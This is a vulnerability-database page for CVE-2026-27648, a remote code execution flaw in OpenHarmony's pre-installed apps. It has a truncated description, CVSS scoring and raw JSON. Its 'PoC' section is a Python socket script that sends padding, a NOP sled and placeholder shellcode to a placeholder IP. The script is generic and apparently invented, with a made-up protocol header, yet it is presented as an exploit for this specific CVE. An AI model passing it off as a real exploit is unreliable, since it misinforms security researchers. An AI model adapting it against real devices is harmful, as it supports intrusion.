Security Vulnerability Report
中文
CVE-2026-27648 CVSS 8.8 HIGH

CVE-2026-27648

Published: 2026-05-19 04:16:29
Last Modified: 2026-05-19 14:25:04

Description

in OpenHarmony v6.0 and prior versions allow a remote attacker arbitrary code execution in pre-installed apps.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenHarmony <= 6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target IP and Port (Placeholder) TARGET_IP = "192.168.1.100" TARGET_PORT = 8080 # Malicious payload (Conceptual buffer overflow or command injection) # Payload designed to trigger RCE in pre-installed app context payload = b"\x41" * 100 # Padding payload += b"\x90" * 32 # NOP Sled # Shellcode placeholder (exec /bin/sh or equivalent) payload += b"\xcc" * 64 def trigger_vulnerability(): """ Function to exploit CVE-2026-27648 Sends a crafted packet to the target OpenHarmony device. """ try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Send malicious packet # Constructing the specific protocol header required by OpenHarmony service header = struct.pack(">I", len(payload)) s.send(header + payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": trigger_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27648", "sourceIdentifier": "[email protected]", "published": "2026-05-19T04:16:28.563", "lastModified": "2026-05-19T14:25:04.340", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "in OpenHarmony v6.0 and prior versions allow a remote attacker arbitrary code execution in pre-installed apps."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://gitcode.com/openharmony/security/tree/master/zh/security-disclosure/2026/2026-04.md", "source": "[email protected]"}]}}